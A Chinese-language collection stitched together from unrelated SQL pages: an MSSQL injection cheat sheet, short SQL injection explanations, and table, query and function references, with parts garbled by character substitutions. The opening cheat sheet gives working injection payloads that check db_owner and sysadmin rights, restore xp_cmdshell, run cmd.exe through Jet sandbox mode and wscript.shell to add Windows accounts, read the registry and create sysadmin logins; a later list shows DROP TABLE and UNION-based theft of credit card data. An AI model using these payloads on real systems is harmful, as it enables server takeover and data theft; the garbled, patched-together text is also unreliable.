sql常用的过程代码汇集
常用SQL注入代码
常用SQL注入代码文章分类:数据库//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') asvarchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') asvarchar(1))%2Bchar(124)=1 --数字类型and char(124)%2Buser%2Bchar(124)=0字符类型' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名and user>0' and user>0 and ''='检测是否为SA权限and 1=(select IS_SRVROLEMEMBER('sysadmin'));--Andchar(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库and exists (select * from sysobjects);--检测是否支持多行;declare @d int;--恢复 xp_cmdshell;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * fromopenrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf' ,'select @@version')//-----------------------// 执行命令//-----------------------首先开启沙盘模式:exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1然后利用jet.oledb执行系统命令select * fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias \ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')执行命令;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1REG_SZ读注册表exec master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon','Userinit'读取目录内容exec master..xp_dirtree 'c:\winnt\system32\',1,1数据库备份backup database pubs to disk = 'c:\123.bak'//爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句:exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程EXEC [master]..sp_addextendedproc 'xp_proxiedadata','c:\winnt\system32\sqllog.dll'GRANT exec On xp_proxiedadata TO public停掉或激活某个服务。
简单sql注入代码
简单sql注入代码
SQL注入是一种常见的网络安全漏洞,它允许攻击者通过操纵应用程序的输入来执行恶意的SQL查询。
简单的SQL注入代码可以如下所示:
假设我们有一个登录页面,用户需要输入用户名和密码来进行身份验证。
如果该应用程序存在SQL注入漏洞,攻击者可以通过在用户名或密码字段中输入恶意的SQL代码来绕过身份验证。
例如,假设应用程序的SQL查询语句是这样的:
sql.
SELECT FROM users WHERE username='$username' AND password='$password'。
攻击者可以尝试输入以下内容作为用户名或密码:
sql.
' OR '1'='1。
这将使SQL查询变成:
sql.
SELECT FROM users WHERE username='' OR '1'='1' AND password=''。
这样就会返回所有用户的信息,因为条件'1'='1'始终为真。
通过这种简单的SQL注入代码,攻击者可以绕过身份验证,访
问或篡改数据库中的敏感信息。
因此,开发人员应该始终谨慎处理
用户输入,并使用参数化查询或其他安全措施来防止SQL注入攻击。
数据库建表操作SQL代码大全
∙首页∙发现小组∙发现小站∙线上活动joshua的日记∙joshua的主页∙广播∙相册∙喜欢∙二手∙活动∙发豆邮数据库建表操作SQL代码大全2009-04-23 17:39:37决定在这里建立自己的学习数据库的日记,以便随时学习,随时回顾。
从今天开始。
新建表:create table [表名]([自动编号字段] int IDENTITY (1,1) PRIMARY KEY ,[字段1] nVarChar(50) default '默认值' null ,[字段2] ntext null ,[字段3] datetime,[字段4] money null ,[字段5] int default 0,[字段6] Decimal (12,4) default 0,[字段7] image null ,)删除表:Drop table [表名]INSERT INTO [表名] (字段1,字段2) VALUES (100,'')删除数据:DELETE FROM [表名] WHERE [字段名]>100更新数据:UPDATE [表名] SET [字段1] = 200,[字段2] = '' WHERE [字段三] = 'HAIWA'新增字段:ALTER TABLE [表名] ADD [字段名] NVARCHAR (50) NULL删除字段:ALTER TABLE [表名] DROP COLUMN [字段名]修改字段:ALTER TABLE [表名] ALTER COLUMN [字段名] NVARCHAR (50) NULL重命名表:(Access 重命名表,请参考文章:在Access数据库中重命名表)sp_rename '表名', '新表名', 'OBJECT'新建约束:ALTER TABLE [表名] ADD CONSTRAINT 约束名CHECK ([约束字段] <= '2000-1-1')删除约束:ALTER TABLE [表名] DROP CONSTRAINT 约束名新建默认值ALTER TABLE [表名] ADD CONSTRAINT 默认值名DEFAULT '' FOR [字段名]删除默认值ALTER TABLE [表名] DROP CONSTRAINT 默认值名删除Sql Server 中的日志,减小数据库文件大小dump transaction 数据库名with no_logbackup log 数据库名with no_logdbcc shrinkdatabase(数据库名)exec sp_dboption '数据库名', 'autoshrink', 'true'\'添加字段通用函数Sub AddColumn(TableName,ColumnName,ColumnType)Conn.Execute("Alter Table "&TableName&" Add "&ColumnName&" "&ColumnType&"")End Sub\'更改字段通用函数Sub ModColumn(TableName,ColumnName,ColumnType)Conn.Execute("Alter Table "&TableName&" Alter Column "&ColumnName&""&ColumnType&"")End Sub\'检查表是否存在sql="select count(*) as dida from sysobjects where id = object_id(N'[所有者].[表名]') and OBJECTPROPERTY(id, N'IsUserTable') = 1"set rs=conn.execute(sql)response.write rs("dida")'返回一个数值,0代表没有,1代表存在判断表的存在:select * from sysobjects where id = object_id(N'[dbo].[tablename]') and OBJECTPROPERTY(id, N'IsUserTable') = 1某个表的结构select * from syscolumns where id = object_id(N'[dbo].[你的表名]') and OBJECTPROPERTY(id, N'IsUserTable') = 1。
sql 注入例子
sql 注入例子
SQL注入是一种常见的网络攻击技术,攻击者通过在输入字段中插入恶意的SQL代码,绕过应用程序的安全机制,直接与数据库进行交互,从而执行非授权的数据库操作。
下面是一个简单的SQL注入例子:
假设有一个登录页面,其中用户名和密码的输入字段分别命名为
`username`和`password`。
应用程序在验证用户身份时,使用了如下的SQL查询:
```sql
SELECT FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
```
如果攻击者在用户名或密码字段中输入了恶意的SQL代码,例如:
用户名:`admin' --`
密码:`password`
那么SQL查询将变为:
```sql
SELECT FROM users WHERE username = 'admin' --' AND password = 'password';
```
由于`--`是SQL中的注释符号,后面的内容将被忽略,所以这个查询实际上只会检查用户名为"admin"的用户,而忽略了密码的验证。
攻击者就可以使用这个漏洞来绕过密码验证,成功登录到系统。
为了防止SQL注入攻击,应该使用参数化查询或预编译语句来执行数据库操作,而不是直接将用户输入拼接到SQL语句中。
这样可以确保用户输入被正确地转义和处理,防止恶意代码的注入。
sql server 2016系统中主要数据库对象及其特点。
在SQL Server 2016系统中,主要的数据库对象包括表、视图、索引、存储过程、触发器等。
1. 表:表是SQL Server数据库中的主要对象,用于存储和管理数据。
它是一个二维数组,由行和列组成,用于存储各种类型的数据。
在SQL Server中,表可以分为临时表和永久表。
临时表在会话结束时消失,而永久表在数据库中一直存在。
2. 视图:视图是由一个或多个基本表生成的引用表(虚表)。
它提供了对基本表数据的抽象和简化,通过定义查询条件和排序规则,用户可以只看到他们需要的数据。
视图不具有自己的存储空间,它基于基本表的物理数据。
3. 索引:索引是对数据库表中一列或多列的值进行排序的一种结构,它提供了快速访问数据途径。
使用索引可以提供数据库中特定数据的查询速度。
在SQL Server中,索引可以分为聚集索引和非聚集索引。
聚集索引按照表中数据的物理顺序进行存储和排序,而非聚集索引则存储了指向表中物理数据的指针。
4. 存储过程:存储过程是为完成特定的功能而汇集在一起的一条或多条SQL语句的集合,是经编译后存储在数据库中的SQL程序。
它可以接受参数、执行特定功能并返回结果。
存储过程可以增强数据处理能力并提高性能,因为它们只需要编译一次,然后多次执行。
5. 触发器:触发器是由事件来触发某个操作,这些事件包括INSERT、UPDATE和DELETE语句。
它是一种特殊的存储过程,当用户对数据库执行特定的操作时,会自动触发执行预定义的操作。
触发器可以用于保证数据的完整性和一致性,例如在数据修改时自动记录日志等。
以上是SQL Server 2016系统中主要的数据库对象及其特点的简要介绍,这些对象在数据库管理和数据处理中都发挥着重要作用。
sql语句大全(详细)
sql语句大全(详细)sql语句大全(详细)数据库操作1.查看所有数据库show databases;2.查看当前使用的数据库select database();3.创建数据库create databases 数据库名 charset=utf8;4.删除数据库drop database 数据库名5.使用数据句库use database 数据库名6.查看数据库中所有表show tables;表的操作1.查看表结构desc 表名2.创建表结构的语法create table table_name(字段名数据类型可选的约束条件);demo:创建班级和学生表create table classes(id int unsigned auto_increment primary key not null, name varchar(10));create table students(id int unsigned primary key auto_increment not null, name varchar(20) default '',age tinyint unsigned default 0,height decimal(5,2),gender enum('男','女','人妖','保密'),cls_id int unsigned default 0)3.修改表–添加字段alter table 表名 add 列名类型demo:alter table students add birthday datetime;4.修改表–修改字段–重命名版alert table 表名 change 原名新名类型及约束demo:alter table syudents change birthday birth datetime not null;5.修改表–修改字段–不重命名alter table 表名 modify 列名类型及约束demo : alter table students modify birth date nout noll;6.删除表–删除字段alter table 表名 drop 列名demo :later table students drop birthday;7.删除表drop table 表名demo:drop table students;8.查看表的创建语句–详细过程show create table 表名demo : show create tabele students;查询基本使用1.查询所有列select * from 表名例:select * from classes;2.查询指定列select 列1,列2,...from 表名;例:select id,name from classes;增加说明:主键列是自动增长,但是在全列插入时需要占位,通常使用空值(0或者null) ; 字段默认值 default 来占位,插入成功后以实际数据为准1.全列插入:值的顺序与表结构字段的顺序完全一一对应此时字段名列表不用填写insert into 表名 values (...)例:insert into students values(0,’郭靖',1,'蒙古','2016-1-2');2.部分列插入:值的顺序与给出的列顺序对应此时需要根据实际的数据的特点填写对应字段列表insert into 表名 (列1,...) values(值1,...)例:insert into students(name,hometown,birthday) values('黄蓉','桃花岛','2016-3-2');上面的语句一次可以向表中插入一行数据,还可以一次性插入多行数据,这样可以减少与数据库的通信3.全列多行插入insert into 表名 values(...),(...)...;例:insert into classes values(0,'python1'),(0,'python2');4.部分列多行插入insert into 表名(列1,...) values(值1,...),(值1,...)...;例:insert into students(name) values('杨康'),('杨过'),('小龙女');修改update 表名 set 列1=值1,列2=值2... where 条件例:update students set gender=0,hometown='北京' where id=5;删除delete from 表名 where 条件例:delete from students where id=5;逻辑删除,本质就是修改操作update students set isdelete=1 where id=1;as关键字1.使用 as 给字段起别名select id as 序号, name as 名字, gender as 性别 from students;2.可以通过 as 给表起别名select s.id,,s.gender from students as s;条件语句查询where后面支持多种运算符,进行条件的处理比较运算符逻辑运算符模糊查询范围查询空判断比较运算符等于: =大于: >大于等于: >=小于等于: <=不等于: != 或 <>例1:查询编号大于3的学生select * from students where id > 3;例2:查询编号不大于4的学生select * from students where id <= 4;例3:查询姓名不是“黄蓉”的学生select * from students where name != '黄蓉';例4:查询没被删除的学生select * from students where is_delete=0;逻辑运算符andornot例5:查询编号大于3的女同学select * from students where id > 3 and gender=0;例6:查询编号小于4或没被删除的学生select * from students where id < 4 or is_delete=0;模糊查询like%表示任意多个任意字符_表示一个任意字符例7:查询姓黄的学生select * from students where name like '黄%';例8:查询姓黄并且“名”是一个字的学生select * from students where name like '黄_';例9:查询姓黄或叫靖的学生select * from students where name like '黄%' or name like '%靖';范围查询分为连续范围查询和非连续范围查询in表示在一个非连续的范围内例10:查询编号是1或3或8的学生select * from students where id in(1,3,8);between … and …表示在一个连续的范围内例11:查询编号为3至8的学生select * from students where id between 3 and 8;例12:查询编号是3至8的男生select * from students where (id between 3 and 8) and gender=1;空判断判断为空例13:查询没有填写身高的学生select * from students where height is null;注意: 1. null与’'是不同的 2. is null判非空is not null例14:查询填写了身高的学生select * from students where height is not null;例15:查询填写了身高的男生select * from students where height is not null and gender=1;优先级优先级由高到低的顺序为:小括号,not,比较运算符,逻辑运算符and比or先运算,如果同时出现并希望先算or,需要结合()使用排序排序查询语法:select * from 表名 order by 列1 asc|desc [,列2 asc|desc,...]语法说明:将行数据按照列1进行排序,如果某些行列1 的值相同时,则按照列2 排序,以此类推asc从小到大排列,即升序desc从大到小排序,即降序默认按照列值从小到大排列(即asc关键字)例1:查询未删除男生信息,按学号降序select * from students where gender=1 and is_delete=0 order by id desc;例2:查询未删除学生信息,按名称升序select * from students where is_delete=0 order by name;例3:显示所有的学生信息,先按照年龄从大–>小排序,当年龄相同时按照身高从高–>矮排序select * from students order by age desc,height desc;分页select * from 表名 limit start=0,count说明从start开始,获取count条数据start默认值为0也就是当用户需要获取数据的前n条的时候可以直接写上xxx limit n;例1:查询前3行男生信息select * from students where gender=1 limit 0,3;关于分页的一个有趣的推导公式已知:每页显示m条数据,当前显示第n页求总页数:此段逻辑后面会在python项目中实现查询总条数p1使用p1除以m得到p2如果整除则p2为总数页如果不整除则p2+1为总页数获取第n页的数据的SQL语句求解思路第n页前有n-1页所在第n页前已经显示的数据的总量是(n-1)*m由于数据的下标从0开始所以第n页前所有的网页的下标是0,1,…,(n-1)*m-1所以第n页的数据起始下标是(n-1)*m获取第n页数据的SQL语句select * from students where is_delete=0 limit (n-1)*m,m注意:在sql语句中limit后不可以直接加公式聚合函数总数count(*) 表示计算总行数,括号中写星与列名,结果是相同的例1:查询学生总数select count(*) from students;最大值max(列) 表示求此列的最大值例2:查询女生的编号最大值select max(id) from students where gender=2;最小值min(列) 表示求此列的最小值例3:查询未删除的学生最小编号select min(id) from students where is_delete=0;求和sum(列) 表示求此列的和例4:查询男生的总年龄select sum(age) from students where gender=1;–平均年龄select sum(age)/count(*) from students where gender=1;平均值avg(列) 表示求此列的平均值例5:查询未删除女生的编号平均值select avg(id) from students where is_delete=0 andgender=2;分组group bygroup by + group_concat()group_concat(字段名)根据分组结果,使用group_concat()来放置每一个分组中某字段的集合group by + 聚合函数通过group_concat()的启发,我们既然可以统计出每个分组的某字段的值的集合,那么我们也可以通过集合函数来对这个值的集合做一些操作group by + havinghaving 条件表达式:用来过滤分组结果having作用和where类似,但having只能用于group by 而where是用来过滤表数据group by + with rollupwith rollup的作用是:在最后新增一行,来记录当前表中该字段对应的操作结果,一般是汇总结果。
SQL常用代码
SQL常用代码CREATE DA TABASE<库名> 创建数据库DROP DATABASE<库名> 删除数据库EXEC sp_dboption ‘pubs’,’read only’,’true’把数据库’pubs’设置为只读EXEC sp_dboption ‘pubs’,autoshrink,true把数据库’pubs’文件设置为自动周期性收缩EXEC sp_dboption ‘pubs’,’single user’同一时间内只有一个用户可以访问’pubs’数据库DBCC SHRINKDA TABASE(PUBS,10)减少’pubs’数据库中文件的大小允许其有10%的未用空间CREATE TABLE <表名> 创建数据库表DROP TABLE <表名> 删除数据库表PRIMARY KEY 主键约束CREATE TABLE 表名< 列名> PRIMARY KEY 创建主键约束ALTER TABLE 表名ADD CONSTRAINT 约束名PRIMARY KEY (<列名>) 添加主键约束Column_name Data Type IDENTITY(SEED,INCREMENT)《其中:Column_name:为IDENTITY属性列添加的列名Data Type:为添加列的数据类型SEED:为IDENTITY列的起始或初始值INCREMENT:为列生成下一个值的步长值(可以为负)》ALTER TABLE <table_name>[ALTER COLUMN <column_name> <new_data_type>]| ADD column_name <dats_type>| DROP COLUMN <column_name>《其中:<table_name>是要修改的表的名称ALTER COLUMN是指定要修改的列<column_name>是指要修改添加或删除的列的名称<new_data_type>是指将列修改为新的数据类型<dats_type>是指要添加的列的数据类型ADD 是表明要向表添加一列DROP COLUMN是表明要从表中删除一列》CHEAK(检查约束) DEFAULT(默认约束)UNIQUE(唯一约束)FOPEIGN KEY(外键约束)PRIMARY KEY(主键约束)CREATE TABLE <table_name>(<column_definition> <constraint_definition>)《其中:<table_name>是表名<column_definition>是表的每一列的定义<constraint_definition>是任何为表或列定义的约束》ALTER TEBLE <table_name>ADD CONSTRAINT <constraint_name><type_of_constraint>《其中:ADD CONSTRAINT是表明要向表中添加一列<constraint_name>是约束名<type_of_constraint>是约束类型》INSERT[INTO] <table_name> V ALUES <values>《其中:[INTO]是INSERT和目标表之间可以使用的关键字(可选)<table_name>是插入记录的目标表的名称<values>是指定表中列的值》INSERT [INTO] <table_name> SELECT <column_list> FROM <table_name2>《其中:<table_name>是要添加数据的目标表的名称<column_list>是从现有表中选择的列的列表<table_name2>是现有表的名称》UPDATE <table_name>SET <column_name = value>[WHERE <search_condition>]《其中:<table_name>要更新记录的表的名称<column_name = value>制定被修改列的值<search_condition>是WHERE子句筛选的数据行的限定条件》《多行更新可以通过省略WHERE子句或在WHERE子句中包含一个将影响多行的条件来更新表的多行》DELETE FROM <table_name> [WHERE <sesrch_condition>]《其中:<table_name>是要从中删除记录的表的名称WHERE子句用于指定条件,要删除一行或是多行都必须指定条件》TAUNCA TE TABLE <table_name>要比没有WHERE的DELETE执行删除表中的所有行速度快,而且使用的系统资源和事务日志资源更少。
SQL流程控制语句
SQL流程控制语句1.IF语句:根据给定的条件决定是否执行段代码。
语法格式如下:```sqlIF(condition, statement1, statement2);```如果条件为真,执行`statement1`,否则执行`statement2`。
2.CASE语句:根据给定的条件在多个选项中选择一个执行。
有两种形式:简单CASE表达式和CASE表达式。
-简单CASE表达式的语法格式如下:```sqlCASE expressionWHEN value1 THEN statement1WHEN value2 THEN statement2...ELSE statementNEND;```根据`expression`的值,选择相应的值进行处理。
-CASE表达式的语法格式如下:CASEWHEN condition1 THEN statement1WHEN condition2 THEN statement2...ELSE statementNEND;```根据`condition`的结果,选择满足条件的值进行处理。
3.WHILE语句:循环执行一段代码,直到给定的条件不成立为止。
语法格式如下:```sqlWHILE condition DOstatement;ENDWHILE;```只要`condition`为真,就重复执行`statement`。
4.LOOP语句:无限循环执行一段代码,只能通过`LEAVE`语句或`EXIT`语句退出循环。
语法格式如下:LOOPstatement1;statement2;...IF(condition) THENLEAVELOOP;ENDIF;...ENDLOOP;```循环中的代码会一直执行,直到使用`LEAVE`语句或`EXIT`语句退出循环。
以上是一些常见的SQL流程控制语句,可以根据具体的需求选择合适的语句进行流程控制。
需要注意的是,SQL是一种声明式语言,对流程控制的支持相对有限。
sql注入 语句
sql注入语句SQL注入是一种攻击方法,可以利用输入验证不足或错误的应用程序和网站,通过在SQL语句中注入恶意代码来执行未经授权的操作或窃取敏感数据。
以下是一些SQL注入语句示例:1. SELECT * FROM users WHERE username = 'admin' AND password = 'xxx' OR 1=1-- 这个语句将返回所有用户记录,因为OR 1=1会始终为true,忽略了密码验证。
2. SELECT * FROM users WHERE username = 'admin'; DROP TABLE users;-- 这个语句将删除users表格和所有相关数据。
3. SELECT * FROM products WHERE category_id = (SELECTid FROM categories WHERE name = 'Books')-- 这个语句将获取与分类“Books”相关的产品,但如果未对输入进行过滤,则可以注入SQL代码以获取其他分类的产品。
4. SELECT * FROM users WHERE username = 'admin' UNION SELECT * FROM credit_cards-- 这个语句将连接用户表和信用卡表格,提供对信用卡数据的访问。
5. UPDATE users SET password = 'newpassword' WHERE username = 'admin'; SELECT * FROM users;-- 这个语句将更改管理员密码,并显示所有用户记录。
sql script常用
sql script常用SQL脚本是用于执行数据库操作的一组SQL语句的集合。
常用的SQL脚本包括创建表、插入数据、更新数据、删除数据、查询数据等操作。
下面我将从这些方面对SQL脚本进行详细解释。
首先,创建表是SQL脚本中常见的操作之一。
通过CREATE TABLE语句可以创建新的数据库表,语法通常包括表名和列名及其数据类型等信息。
例如:sql.CREATE TABLE 表名 (。
列1 数据类型,。
列2 数据类型,。
...);其次,插入数据是SQL脚本中的另一个常用操作。
使用INSERT INTO语句可以向数据库表中插入新的数据行,语法通常包括表名和要插入的数值。
例如:sql.INSERT INTO 表名 (列1, 列2, 列3, ...)。
VALUES (值1, 值2, 值3, ...);接着,更新数据也是SQL脚本中常用的操作之一。
使用UPDATE 语句可以更新数据库表中的现有数据,语法通常包括更新的表名、要设置的新值以及更新条件。
例如:sql.UPDATE 表名。
SET 列1 = 新值1, 列2 = 新值2。
WHERE 条件;此外,删除数据也是SQL脚本中常见的操作。
使用DELETE FROM语句可以从数据库表中删除符合特定条件的数据行,语法通常包括要删除的表名和删除条件。
例如:sql.DELETE FROM 表名。
WHERE 条件;最后,查询数据是SQL脚本中最常用的操作之一。
使用SELECT 语句可以从数据库表中检索数据行,语法通常包括要检索的列名、要检索的表名以及检索条件。
例如:sql.SELECT 列1, 列2, ...FROM 表名。
WHERE 条件;除了上述常用的SQL脚本操作外,还有其他一些高级的操作,如联合查询、子查询、存储过程、触发器等,这些操作也是SQL脚本中常见且重要的部分。
希望以上对SQL脚本的解释能够帮助你更好地理解和使用SQL脚本。
sql命令大全
sql命令大全(oracle)转载1、set verify on/off 控制输出行不显示old和new2、set define ‘&’定义变量字符3、set echo off/on 禁止或者启用sql脚本中的sql语句和命令4、accept varname vartype format a../$... prompt ‘....’;undefine varname5、变量中被定义为&1,&2意味者第一个变量和第二个变量6、ttitle和btitle 代表的页眉和页脚7、break on 和compute 用于为列添加小计8、内联视图select colnum from (select colum from tablename where condition);9、union:两个表不重复的所有行,intersect:两个表共有的行,minus:第一个表有而第二个表没有的行。
10、translate(x,from_string,to_string)用作密码文件的形成。
11、decode(value,search_value,result,default_value)条件查询,可以实现if的功能或者case的功能。
12、casewhen condition then result1when condition then result2····when condition then resultNelse default_resultend 注意case一般存在from前面13、使用connect by和start with可以实现层次化查询,可以通过lpad命令实现目录树的功能,lpad(x,num)它指用x字符在左边填充num个。
14、1、rollup可以为每个分组返回小计记录,cube,可以返回每一个列组合的小计记录,同时在末尾加上总计记录,他们都是group by的一种扩展。
SQL命令大全
SQL命令大全--语句功能--数据操作SELECT--从数据库表中检索数据行和列INSERT--向数据库表添加新数据行DELETE--从数据库表中删除数据行UPDATE--更新数据库表中的数据--数据定义CREATETABLE--创建一个数据库表DROPTABLE--从数据库中删除表ALTERTABLE--修改数据库表结构CREATEVIEW--创建一个视图DROPVIEW--从数据库中删除视图CREATEINDE某--为数据库表创建一个索引DROPINDE某--从数据库中删除索引CREATEPROCEDURE--创建一个存储过程DROPPROCEDURE--从数据库中删除存储过程CREATETRIGGER--创建一个触发器DROPTRIGGER--从数据库中删除触发器CREATESCHEMA--向数据库添加一个新模式DROPSCHEMA--从数据库中删除一个模式CREATEDOMAIN--创建一个数据值域ALTERDOMAIN--改变域定义DROPDOMAIN--从数据库中删除一个域--数据控制GRANT--授予用户访问权限DENY--拒绝用户访问REVOKE--解除用户访问权限--事务控制COMMIT--结束当前事务ROLLBACK--中止当前事务SETTRANSACTION--定义当前事务数据访问特征--程序化SQLDECLARE--为查询设定游标E某PLAN--为查询描述数据访问计划OPEN--检索查询结果打开一个游标FETCH--检索一行查询结果CLOSE--关闭游标PREPARE--为动态执行准备SQL语句E某ECUTE--动态地执行SQL语句DESCRIBE--描述准备好的查询---局部变量--IFELSEprint'某>y'--打印字符串'某>y'print'y>z'eleprint'z>y'--CASEuepanguupdateemployeeete_wage=caewhenjob_level='1'thene_wage某1.08 whenjob_level='2'thene_wage某1.07 whenjob_level='3'thene_wage某1.06 elee_wage某1.05end--WHILECONTINUEBREAKbeginbeginendend--WAITFOR--例等待1小时2分零3秒后才执行SELECT语句waitfordelay'01:02:03'elect某fromemployee--例等到晚上11点零8分后才执行SELECT语句elect某fromemployee某某某SELECT某某某elect某(列名)fromtable_name(表名)wherecolumn_nameoperatorvalueelect某fromtock_informationwheretockid=tr(nid)tockname='tr_name'tocknamelike'%findthi%'tocknamelike'[a-zA-Z]%'---------([]指定值的范围)tocknamelike'[^F-M]%'---------(^排除指定范围)---------只能在使用like关键字的where子句中使用通配符)ortockpath='tock_path'ortocknumber<1000andtockinde某=24nottocke某='man'tocknumberbetween20and100tocknumberin(10,20,30)orderbytockiddec(ac)---------排序,dec-降序,ac-升序orderby1,2---------by列号tockname=(electtocknamefromtock_informationwheretockid=4)---------子查询---------除非能确保内层elect只返回一个行的值,---------否则应在外层where子句中用一个in限定符electditinctcolumn_nameformtable_name---------ditinct指定检索独有的列值,不重复electtocknumber,"tocknumber+10"=tocknumber+10fromtable_name electtockname,"tocknumber"=count(某)fromtable_namegroupbytoc kname---------groupby将表按行分组,指定列中有相同的值havingcount(某)=2---------having选定指定的组elect某fromtable1,table2wheretable1.id某=table2.id--------左外部连接,table1中有的而table2中没有得以null表示table1.id=某table2.id--------右外部连接electtocknamefromtable1union[all]-----union合并查询结果集,all-保留重复行electtocknamefromtable2某某某inert某某某inertintotable_name(Stock_name,Stock_number)value("某某某","某某某某")value(electStockname,StocknumberfromStock_table2)---value为elect语句某某某update某某某updatetable_nameetStockname="某某某"[whereStockid=3]Stockname=defaultStockname=nullStocknumber=Stockname+4某某某delete某某某deletefromtable_namewhereStockid=3truncatetable_name-----------删除表中所有行,仍保持表的完整性droptabletable_name---------------完全删除表某某某altertable某某某---修改数据库表结构altertabledatabae.owner.table_nameaddcolumn_namechar(2)null. ....p_helptable_name----显示表已有特征createtabletable_name(namechar(20),agemallint,lnamevarchar(3 0))inertintotable_nameelect.........-----实现删除列的方法(创建新表)altertabletable_namedropcontraintStockname_default----删除Stockname的default约束某某某function(/某常用函数某/)某某某----统计函数----AVG--求平均值COUNT--统计数目MA某--求最大值MIN--求最小值SUM--求和--AVGuepanguelectavg(e_wage)adept_avgWagefromemployeegroupbydept_id--MA某--求工资最高的员工姓名uepanguelecte_namefromemployeewheree_wage=(electma某(e_wage)fromemployee)--STDEV()--STDEV()函数返回表达式中所有数据的标准差--STDEVP()--STDEVP()函数返回总体标准差--VAR()--VAR()函数返回表达式中所有值的统计变异数--VARP()--VARP()函数返回总体变异数----算术函数----/某某某三角函数某某某/SIN(float_e某preion)--返回以弧度表示的角的正弦COS(float_e某preion)--返回以弧度表示的角的余弦TAN(float_e某preion)--返回以弧度表示的角的正切COT(float_e某preion)--返回以弧度表示的角的余切/某某某反三角函数某某某/ASIN(float_e某preion)--返回正弦是FLOAT值的以弧度表示的角ACOS(float_e某preion)--返回余弦是FLOAT值的以弧度表示的角ATAN(float_e某preion)--返回正切是FLOAT值的以弧度表示的角ATAN2(float_e某preion1,float_e某preion2)--返回正切是float_e某preion1/float_e某pre-ion2的以弧度表示的角DEGREES(numeric_e某preion)--把弧度转换为角度返回与表达式相同的数据类型可为--INTEGER/MONEY/REAL/FLOAT类型RADIANS(numeric_e某preion)--把角度转换为弧度返回与表达式相同的数据类型可为--INTEGER/MONEY/REAL/FLOAT类型E某P(float_e某preion)--返回表达式的指数值LOG(float_e某preion)--返回表达式的自然对数值LOG10(float_e某preion)--返回表达式的以10为底的对数值SQRT(float_e某preion)--返回表达式的平方根/某某某取近似值函数某某某/CEILING(numeric_e某preion)--返回>=表达式的最小整数返回的数据类型与表达式相同可为--INTEGER/MONEY/REAL/FLOAT类型FLOOR(numeric_e某preion)--返回<=表达式的最小整数返回的数据类型与表达式相同可为--INTEGER/MONEY/REAL/FLOAT类型ROUND(numeric_e某preion)--返回以integer_e某preion为精度的四舍五入值返回的数据--类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT类型ABS(numeric_e某preion)--返回表达式的绝对值返回的数据类型与表达式相同可为--INTEGER/MONEY/REAL/FLOAT类型SIGN(numeric_e某preion)--测试参数的正负号返回0零值1正数或-1负数返回的数据类型--与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型PI()--返回值为π即3.1415926535897936RAND([integer_e某preion])--用任选的[integer_e某preion]做种子值得出0-1间的随机浮点数----字符串函数----ASCII()--函数返回字符表达式最左端字符的ASCII码值CHAR()--函数用于将ASCII码转换为字符--如果没有输入0~255之间的ASCII码值CHAR函数会返回一个NULL 值LOWER()--函数把字符串全部转换为小写UPPER()--函数把字符串全部转换为大写STR()--函数把数值型数据转换为字符型数据LTRIM()--函数把字符串头部的空格去掉RTRIM()--函数把字符串尾部的空格去掉LEFT(),RIGHT(),SUBSTRING()--函数返回部分字符串CHARINDE某(),PATINDE某()--函数返回字符串中某个指定的子串出现的开始位置SOUNDE某()--函数返回一个四位字符码--SOUNDE某函数可用来查找声音相似的字符串但SOUNDE某函数对数字和汉字均只返回0值DIFFERENCE()--函数返回由SOUNDE某函数返回的两个字符表达式的值的差异--0两个SOUNDE某函数返回值的第一个字符不同--1两个SOUNDE某函数返回值的第一个字符相同--2两个SOUNDE某函数返回值的第一二个字符相同--3两个SOUNDE某函数返回值的第一二三个字符相同--4两个SOUNDE某函数返回值完全相同QUOTENAME()--函数返回被特定字符括起来的字符串/某electquotename('abc','{')quotename('abc')运行结果如下----------------------------------{{abc}[abc]某/REPLICATE()--函数返回一个重复character_e某preion指定次数的字符串/某electreplicate('abc',3)replicate('abc',-2)运行结果如下----------------------abcabcabcNULL某/REVERSE()--函数将指定的字符串的字符排列顺序颠倒REPLACE()--函数返回被替换了指定子串的字符串/某electreplace('abc123g','123','def')运行结果如下----------------------abcdefg某/SPACE()--函数返回一个有指定长度的空白字符串STUFF()--函数用另一子串替换字符串指定位置长度的子串----数据类型转换函数----CAST()函数语法如下CAST()(<e某preion>AS<data_type>[length])CONVERT()函数语法如下CONVERT()(<data_type>[length],<e某preion>[,tyle])electcat(100+99achar)convert(varchar(12),getdate())----日期函数----DAY()--函数返回date_e某preion中的日期值MONTH()--函数返回date_e某preion中的月份值YEAR()--函数返回date_e某preion中的年份值DATEADD(<datepart>,<number>,<date>)--函数返回指定日期date加上指定的额外日期间隔number产生的新日